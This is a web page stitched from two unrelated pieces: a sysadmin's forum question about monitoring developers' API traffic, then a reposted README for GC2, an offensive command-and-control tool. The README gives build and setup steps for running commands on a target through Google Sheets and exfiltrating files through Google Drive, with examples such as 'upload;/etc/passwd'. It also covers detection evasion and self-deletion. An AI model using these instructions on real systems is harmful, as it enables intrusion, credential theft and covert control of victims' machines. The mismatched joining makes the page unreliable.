Can I trace out dev's running bad code?

Hi,



So there are some dev's in my environment and they are running API request and everything.



What should I be looking out for as the sysadmin? Can I grab any of the data being run on their code in Wireshark or anything like that?



What's the risk of someone running an API request?

GC2 (Google Command and Control) is a Command and Control application that allows an attacker to execute commands on the target machine using Google Sheet and exfiltrates data using Google Drive.
Why
This program has been developed in order to provide a command and control that does not require any particular set up (like: a custom domain, VPS, CDN, ...) during Red Teaming (https://www.kitploit.com/search/label/Red%20Teaming) activities.Furthermore, the program will interact only with Google's domains (*.google.com) to make detection more difficult.PS: Please don't upload the compiled binary (https://www.kitploit.com/search/label/Binary) on VirusTotal (https://www.kitploit.com/search/label/VirusTotal) :)
Set up
Build executablegit clone https://github.com/looCiprian/GC2-sheet
cd GC2-sheet
go build gc2-sheet.goCreate a new google "service account"Create a new google "service account" using https://console.cloud.google.com/, create a .json key file for the service accountEnable Google Sheet API and Google Drive APIEnable Google Drive API https://developers.google.com/drive/api/v3/enable-drive-api and Google Sheet API https://developers.google.com/sheets/api/quickstart/go
Set up Google Sheet and Google DriveCreate a new Google Sheet and add the service account to the editor (https://www.kitploit.com/search/label/Editor) group of the spreadsheet (to add the service account use its email)

Start the C2 --sheet --drive ">gc2-sheet --key --sheet --drive
PS: you can also hardcode the parameters in the code, so you will upload only the executable on the target machine (look at comments in root.go and authentication.go)
Features
Command execution using Google Sheet as a consoleDownload files on the target using Google DriveData exfiltration (https://www.kitploit.com/search/label/Exfiltration) using Google DriveExit
Command execution
The program will perform a request to the spreedsheet every 5 sec to check if there are some new commands. Commands must be inserted in the column "A", and the output will be printed in the column "B".
Data exfiltration file
Special commands are reserved to perform the upload and download to the target machine Example: upload;/etc/passwd ">From Target to Google Drive
upload;
Example:
upload;/etc/passwd

Download file
Special commands are reserved to perform the upload and download to the target machine; Example: download;;/home/user/downloaded.txt ">From Google Drive to Target
download;;
Example:
download;;/home/user/downloaded.txt

Exit
By sending the command exit, the program will delete itself from the target and kill its processPS: From os documentation: If a symlink was used to start the process, depending on the operating system, the result might be the symlink or the path it pointed to. In this case the symlink is deleted.
